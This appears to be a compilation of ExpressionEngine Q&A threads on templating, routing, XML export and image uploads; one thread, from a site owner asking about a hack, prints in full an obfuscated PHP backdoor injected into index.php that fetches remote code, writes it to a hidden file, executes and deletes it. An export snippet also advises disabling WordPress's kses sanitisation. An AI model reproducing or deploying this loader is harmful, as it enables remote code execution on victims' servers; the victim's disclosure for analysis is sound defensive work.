Title: Split channel entries into 3 columns
I am trying to figure out how to split channel entries evenly into 3 columns.

The result should look as follows:

```
<div class="col-1-3">
    Entry 1
    Entry 2
    Entry 3
    Entry 4
</div>
<div class="col-1-3">
    Entry 5
    Entry 6
    Entry 7
    Entry 8
</div>
<div class="col-1-3">
    Entry 9
    Entry 10
</div>

```

I tried the following using modulus but it gave me 3 entries per column and keeps creating more columns.

```
{if count == 1 || count % 3 == 1}
<div class="col-1-3">
{/if}
{title}<br>
{if count == total_results || count % 3 == 0}
</div>
{/if}

```

I'm using EE3 so none of the existing plugins will work.

Any help is appreciated.

# Answer
> 0 votes
Did you try using only css? Like in this example https://www.w3schools.com/cssref/css3\_pr\_columns.asp It's maybe not what you need but css will "split" your content in X columns.

# Answer
> 3 votes
The modulus operator is your friend here. https://docs.expressionengine.com/latest/templates/conditionals.html#mathematic-operators

---
Tags: ee3
---


title: My EE Site was Hacked

text:
# Question
Title: My EE Site was Hacked
I'm posting this in case any advice helps others who've suffered a similar hack. AFAIK the hack involves compromised FTP access only. index.php of EE v2.10.2 was modified and a couple of new subdirectories containing generated files were created within a web-accessible directory. No database or system directory access. All code was removed and I reset hosting account, FTP and database passwords following discovery.

* Any comments on further best practice in EE following an FTP hack like this?
* Suggestions on what the code does - some kind of automated review submission?

The generated files contained mostly Arabic and look like:

```
    <"forexarabica|<div itemscope="" itemtype="http://schema.org/Product">
    <span itemprop="name">خيار ثنائي مراجعة الروبوت يوتيوب rating</span>
    <div itemprop="aggregateRating" itemscope="" itemtype="http://schema.org/AggregateRating">
    <span itemprop="ratingValue">5-5</span> stars based on
    <span itemprop="reviewCount">126</span> reviews
    </div>
    </div>
[lots of Arabic in paragraphs plus some random URLs]

```

The code found at the top of index.php was:

```
<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; $pass = "Zgc5c4MXrLskZVkZ9Y1BPrCRP1WUNbhY3iKMG+/NuQE=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>

```

# Answer
Yes my suspicions (and prior experience) have been that this hack originated on the server. My machine (Mac OSX) is clean and I look after passwords carefully. The function *wp\_cd* in the code above suggests a WordPress-targetted attack, not EE.

For the host to say "we have not had any reports of hacking attempts on our servers" and not to treat my report as such is irresponsible. I'll be moving host at the next opportunity and making SFTP / SSH my default connection method. Andrew Weaver and I have established that the hosting company suffering these attacks is the same one, that we both use. Hosts can only stand to lose trust and hence customers if they don't admit liability when they should.

After all the reset of passwords and virus scan of my machine early yesterday, I checked the server files again today. The same hack had been applied again late last night...
> 2 votes

---
Tags: ee2, ftp
---


title: Resource Router - no routes will work

text:
# Question
Title: Resource Router - no routes will work
I've installed Resource Router and set up a few basic routes, but they don't seem to be working. No routes will work at all, is there something else I need to do to "activate" the plugin?

Edit to add code:

We're using the Focus Labs multi environment config, so in my config.php I've got:

```
require $_SERVER['DOCUMENT_ROOT'] . '/config/config.master.php';

```

I've then called Resource Router in config.master.php with:

```
// Resource Router
 $env_config['resource_router'] = require 'routes.php';

```

And in my routes.php, I've set up a simple route:

```
<?php
return [
'careers/:any' => 'careers/article',
];

```

I am getting as far as the routes.php file as I can echo something out from it, but just can't get the routes to work.

# Answer
Not sure why the master config set up isn't working, but taking it out and moving the routers to the standard config file is working correctly
> 0 votes

---
Tags: resource-router
---


# Question
Title: What's the field for the main content for XML export?
I found this snippet of XML code (http://www.phpdevtips.com/2011/08/how-to-import-an-expressionengine-blog-into-wordpress/) that has everything set up for the XML export of one of my client's old site. The snippet is able to export all the post data, except for the main content itself. What field should I use for the `content:encoded`?

They have EE 2.5.2.

```
<xml version="1.0" encoding="UTF-8" >

<!-- To import this information into a WordPress site follow these steps: -->
<!--RUN THIS FILE IN FIREFOX OR IE-->
<!--VIEW PAGE SOURCE-->
<!--COPY-PASTE PAGE SOURCE INTO TEXT EDITOR AND SAVE AS .WXR FILE-->
<!--REMOVE "?'s" FROM XML VERSION AT TOP OF THIS PAGE-->
<!--COMMENT OUT LINE 1309, 1310, 1311 IN wp-includes/kses.php -->
<!--THEN FOLLOW THE STEPS BELOW-->

<!-- 1. Log in to that site as an administrator. -->
<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
<!-- 3. Install the "WordPress" importer from the list. -->
<!-- 4. Activate & Run Importer. -->
<!-- 5. Upload this file using the form provided on that page. -->
<!-- 6. You will first be asked to map the authors in this export file to users -->
<!--    on the site. For each author, you may choose to map to an -->
<!--    existing user on the site or to create a new user. -->
<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
<!--    contained in this file into your site. -->

<!-- generator="WordPress/3.1.2" created="2011-07-09 05:45" -->
<rss version="2.0"
    xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:wp="http://wordpress.org/export/1.1/"
>

<channel>
    <title>{site_name}</title>
    <link>{site_url}</link>
    <description>{site_description}</description>
    <pubDate></pubDate>
    <language>en</language>
    <wp:wxr_version>1.1</wp:wxr_version>
    <wp:base_site_url>http://example.com:8080/</wp:base_site_url>
    <wp:base_blog_url>http://example.com:8080</wp:base_blog_url>

    <generator>http://wordpress.org/?v=3.1.2</generator>

{exp:weblog:entries weblog="default_site" orderby="date" sort="desc" limit="500" offset="0" rdf="off"}
    <item>
        <title>{exp:xml_encode}{title}{/exp:xml_encode}</title>
        <link></link>
        <pubDate>{entry_date format="%r"}</pubDate>
        <dc:creator><![CDATA[{author}]]></dc:creator>
        <guid isPermaLink="false">http://example.com:8080/?p={entry_id}</guid>
        <description></description>
        <content:encoded><![CDATA[{if blog_content}{blog_content}{if:elseif     cc_content}{cc_content}{if:else}{entryContent}{/if}]]></content:encoded>
        <!--<content:encoded><![CDATA[{if body}{body}{if:elseif cc_content}{cc_content}{if:else}{article_content}{/if}]]></content:encoded>-->
        <excerpt:encoded><![CDATA[{if blog_short}{blog_short}{if:elseif cc_teaser}{cc_teaser}{if:else}{teaser}{/if}]]></excerpt:encoded>
        <wp:post_id></wp:post_id>
        <wp:post_date>{entry_date format="%Y-%m-%d %H:%i:%s"}</wp:post_date>
        <wp:post_date_gmt>{gmt_date format="%Y-%m-%d %H:%i:%s"}</wp:post_date_gmt>
        <wp:comment_status>open</wp:comment_status>
        <wp:ping_status>open</wp:ping_status>
        <wp:post_name>{url_title}</wp:post_name>
        <wp:status>{if status == "open"}publish{if:elseif status == "review"}pending{if:elseif status == "closed"}private{if:elseif status == "draft"}draft{if:else}publish{/if}</wp:status>
        <wp:post_parent>0</wp:post_parent>
        <wp:menu_order>0</wp:menu_order>
        <wp:post_type>post</wp:post_type>
        <wp:post_password></wp:post_password>
        <wp:is_sticky>0</wp:is_sticky>
{categories}
        <category domain="category" nicename="{if category_url_title == "uncategorized"}media{if:else}{category_url_title}{/if}"><![CDATA[{if category_name == "Uncategorized"}Media{if:else}{category_name}{/if}]]></category>
{/categories}
        <wp:postmeta>
            <wp:meta_key>_edit_last</wp:meta_key>
            <wp:meta_value><![CDATA[1]]></wp:meta_value>
        </wp:postmeta>
{if article_links}
        <wp:postmeta>
            <wp:meta_key>Associated Links</wp:meta_key>
            <wp:meta_value><![CDATA[{article_links}]]></wp:meta_value>
        </wp:postmeta>
{/if}
        <wp:postmeta>
            <wp:meta_key>_su_rich_snippet_type</wp:meta_key>
            <wp:meta_value><![CDATA[none]]></wp:meta_value>
        </wp:postmeta>
        <wp:postmeta>
            <wp:meta_key>_encloseme</wp:meta_key>
            <wp:meta_value><![CDATA[1]]></wp:meta_value>
        </wp:postmeta>
{exp:comment:entries sort="desc" entry_id="{entry_id}"}
        <wp:comment>
            <wp:comment_id>{comment_id}</wp:comment_id>
            <wp:comment_author><![CDATA[{name}]]></wp:comment_author>
            <wp:comment_author_email>{url_or_email}</wp:comment_author_email>
            <wp:comment_author_url>{url}</wp:comment_author_url>
            <wp:comment_author_IP>{ip_address}</wp:comment_author_IP>
            <wp:comment_date>{comment_date format="%Y-%m-%d %h:%i:%s"}</wp:comment_date>
            <wp:comment_date_gmt>{gmt_comment_date format="%Y-%m-%d %h:%i:%s"}</wp:comment_date_gmt>
            <wp:comment_content><![CDATA[{comment}]]></wp:comment_content>
            <wp:comment_approved>1</wp:comment_approved>
            <wp:comment_type></wp:comment_type>
            <wp:comment_parent>0</wp:comment_parent>
            <wp:comment_user_id>0</wp:comment_user_id>
        </wp:comment>
{/exp:comment:entries}
    </item>
{/exp:weblog:entries}
</channel>
</rss>
</xml>

```

# Answer
EE lets you assign arbitrary field names to your content - so there is no 'default' field name for this. EE uses standard field names for some meta-data (e.g. `{entry_id}` is always the index number for an entry etc.), but not for content.

The use of standard field names probably explains why your script works at all, but without modifying it to reflect the field name definitions set up for your EE site, it is unlikely to provide useful output.
> 1 votes

---
Tags: ee2, templates, export, xml
---


title: No Uploads with RTE Image Upload?

text:
# Question
Title: No Uploads with RTE Image Upload?
In EE 3.5.10 using the Image Upload button in the RTE toolbar, I can only choose existing images. There is no upload button.

Is this the way it is supposed to be?

# Answer
You need to change the directory dropdown from "All" to the directory you're trying to upload to. Once you select it you should get the option to upload at the bottom.
> 1 votes

---
Tags: file-uploads, rte
---